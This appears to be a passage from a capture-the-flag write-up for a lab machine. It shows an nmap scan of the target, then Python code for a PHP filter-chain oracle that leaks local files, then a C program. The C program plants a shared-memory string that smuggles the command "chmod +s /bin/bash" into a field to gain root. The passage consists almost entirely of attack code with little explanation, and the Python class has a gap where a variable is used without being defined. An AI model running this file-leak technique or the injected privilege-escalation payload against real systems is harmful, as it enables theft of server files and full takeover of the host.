$ nmap -sC -sV -Pn 10.10.11.56 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-28 08:26 CST Nmap scan report for 10.10.11.56 Host is up (0.069s latency). Not shown: 997 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA) |_ 256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519) 80/tcp open http Apache httpd |_http-server-header: Apache |_http-title: 403 Forbidden 8080/tcp open http Apache httpd |_http-title: 403 Forbidden |_http-server-header: Apache Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 31.42 seconds
import json import requests import time import base64 # Ensure base64 module is imported from filters_chain_oracle.core.verb import Verb from filters_chain_oracle.core.utils import merge_dicts import re
""" Class Requestor, defines all the request logic. """ classRequestor: def__init__(self, file_to_leak, target, parameter, data="{}", headers="{}", verb=Verb.POST, in_chain="", proxy=None, time_based_attack=False, delay=0.0, json_input=False, match=False): self.file_to_leak = file_to_leak self.target = target self.parameter = parameter self.headers = headers self.verb = verb self.json_input = json_input self.match = match print("[*] The following URL is targeted : {}".format(self.target)) print("[*] The following local file is leaked : {}".format(self.file_to_leak)) print("[*] Running {} requests".format(self.verb.name)) if data != "{}": print("[*] Additionnal data used : {}".format(data)) if headers != "{}": print("[*] Additionnal headers used : {}".format(headers)) if in_chain != "": print("[*] The following chain will be in each request : {}".format(in_chain)) in_chain = "|convert.iconv.{}".format(in_chain) if match: print("[*] The following pattern will be matched for the oracle : {}".format(match)) self.in_chain = in_chain self.data = json.loads(data) self.headers = json.loads(headers) self.delay = float(delay) if proxy : self.proxies = { 'http': f'{proxy}', 'https': f'{proxy}', } else: self.proxies = None self.instantiate_session() if time_based_attack: self.time_based_attack = self.error_handling_duration() print("[+] Error handling duration : {}".format(self.time_based_attack)) else: self.time_based_attack = False """ Instantiates a requests session for optimization """ definstantiate_session(self): self.session = requests.Session() self.session.headers.update(self.headers) self.session.proxies = self.proxies self.session.verify = False
defjoin(self, *x): return'|'.join(x)
""" Used to see how much time a 500 error takes to calibrate the timing attack """ deferror_handling_duration(self): chain = "convert.base64-encode" requ = self.req_with_response(chain) self.normal_response_time = requ.elapsed.total_seconds() self.blow_up_utf32 = 'convert.iconv.L1.UCS-4' self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) chain_triggering_error = f"convert.base64-encode|{self.blow_up_inf}" requ = self.req_with_response(chain_triggering_error) return requ.elapsed.total_seconds() - self.normal_response_time
""" Used to parse the option parameter sent by the user """ defparse_parameter(self, filter_chain): data = {} if'['and']'in self.parameter: # Parse array elements main_parameter = [re.search(r'^(.*?)\[', self.parameter).group(1)] sub_parameters = re.findall(r'\[(.*?)\]', self.parameter) all_params = main_parameter + sub_parameters json_object = {} temp = json_object for i, element in enumerate(all_params): if i == len(all_params) -1: temp[element] = filter_chain else: temp[element] = {} temp = temp[element] data = json_object else: data[self.parameter] = filter_chain return merge_dicts(data, self.data)
""" Returns the response of a request defined with all options """ defreq_with_response(self, s): if self.delay > 0: time.sleep(self.delay)
# Make the request, the verb and data encoding is defined try: if self.verb == Verb.GET: requ = self.session.get(self.target, params=merged_data) return requ elif self.verb == Verb.PUT: if self.json_input: requ = self.session.put(self.target, json=merged_data) else: requ = self.session.put(self.target, data=merged_data) return requ elif self.verb == Verb.DELETE: if self.json_input: requ = self.session.delete(self.target, json=merged_data) else: requ = self.session.delete(self.target, data=merged_data) return requ elif self.verb == Verb.POST: if self.json_input: requ = self.session.post(self.target, json=merged_data) else: requ = self.session.post(self.target, data=merged_data) return requ except requests.exceptions.ConnectionError : print("[-] Could not instantiate a connection") exit(1) returnNone
""" Used to determine if the answer trigged the error based oracle TODO : increase the efficiency of the time based oracle """ deferror_oracle(self, s): requ = self.req_with_response(s)
if self.match: # DEBUG print("PATT", (self.match in requ.text)) return self.match in requ.text
intmain(void){ // Seed the random number generator with the current time. time_t current_time = time(NULL); srand((unsignedint)current_time);
// Generate a random number and apply modulo 0xfffff to generate the key. int random_value = rand(); key_t key = random_value % 0xfffff;
// Print the generated key in hexadecimal. printf("Generated key: 0x%X\n", key);
// Create (or get) the shared memory segment with the generated key. // IPC_CREAT flag is used to create the segment if it does not exist. int shmid = shmget(key, SHM_SIZE, IPC_CREAT | SHM_MODE); if (shmid == -1) { perror("shmget"); exit(EXIT_FAILURE); }
// Attach to the shared memory segment. char *shmaddr = (char *)shmat(shmid, NULL, 0); if (shmaddr == (char *)-1) { perror("shmat"); exit(EXIT_FAILURE); }
// Define the payload string to be written. constchar *payload = "Leaked hash detected at Sat Feb 22 23:21:48 2025 > '; chmod +s /bin/bash;#";
// Write the payload to the shared memory segment. snprintf(shmaddr, SHM_SIZE, "%s", payload);
// Optionally, print the content that was written. printf("Shared Memory Content:\n%s\n", shmaddr);
// Detach from the shared memory segment. if (shmdt(shmaddr) == -1) { perror("shmdt"); exit(EXIT_FAILURE); }